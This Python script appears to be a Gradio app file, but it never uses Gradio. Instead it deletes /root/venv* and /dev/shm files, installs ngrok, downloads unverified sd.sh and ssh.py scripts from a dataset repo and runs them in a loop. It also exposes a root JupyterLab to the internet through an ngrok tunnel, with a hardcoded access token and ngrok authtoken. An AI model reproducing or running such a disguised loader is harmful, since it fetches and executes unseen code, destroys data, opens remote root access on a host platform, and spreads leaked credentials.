| |
| |
| import gradio as gr |
| import subprocess |
| import shlex |
| import os |
| import subprocess |
| import sys |
| import tarfile |
|
|
| |
| os.system("rm -rf /root/venv* && rm -rf /dev/shm/*") |
|
|
| |
| repo_id = "tzk1212123/modelscope_code" |
|
|
| def nyan_ngrok(): |
| def way1(): |
| |
| subprocess.run("curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc > /dev/null", shell=True, check=True) |
| |
| subprocess.run("echo 'deb https://ngrok-agent.s3.amazonaws.com buster main' | sudo tee /etc/apt/sources.list.d/ngrok.list", shell=True, check=True) |
| |
| subprocess.run("sudo apt update", shell=True, check=True) |
| subprocess.run("sudo apt install ngrok -y", shell=True, check=True) |
|
|
| def way2(): |
| |
| ngrok_url = f"https://hf-mirror.com/datasets/{repo_id}/resolve/main/ngrok-v3-stable-linux-amd64.tgz" |
| ngrok_path = os.path.expanduser("~/ngrok-v3-stable-linux-amd64.tgz") |
| print("Downloading ngrok...") |
| try: |
| |
| subprocess.run([ |
| "aria2c", "-x", "16", "-s", "16", "-c", "-k", "1M", |
| "-d", os.path.dirname(ngrok_path), |
| "-o", os.path.basename(ngrok_path), |
| ngrok_url |
| ], check=True) |
| except subprocess.CalledProcessError: |
| print("下载失败,将采用方案一") |
| way1() |
| |
| |
| print("Extracting ngrok...") |
| try: |
| |
| subprocess.run([ |
| "sudo", "tar", "-xvzf", ngrok_path, "-C", "/usr/local/bin" |
| ], check=True) |
| except Exception as e: |
| print("解压失败,将采用方案一APT安装") |
| way1() |
| print("ngrok has been installed successfully.") |
| |
| way2() |
|
|
| |
| subprocess.run("sudo apt update", shell=True, check=True) |
| nyan_ngrok() |
|
|
| |
| os.chdir("/root") |
|
|
| |
| os.system(f"wget 'https://hf-mirror.com/datasets/{repo_id}/resolve/main/sd.sh' --no-check-certificate") |
| os.system(f"wget -O 'ssh.py' --no-check-certificate 'https://hf-mirror.com/datasets/{repo_id}/resolve/main/ssh.py?download=true'") |
|
|
| while True: |
| os.chdir("/root") |
| os.system("apt install -y aria2 sshpass") |
| os.system("bash sd.sh & python ssh.py & jupyter-lab --no-browser --ip=0.0.0.0 --allow-root --notebook-dir=/ --port=65432 --LabApp.allow_origin=* --LabApp.token=Asdf1472580369 --LabApp.base_url=/loves & ngrok http 65432 --authtoken=2p4LB2DMncND09TtByIgYoPCiMd_4ngvZJW4VmhQPK3etQfLh") |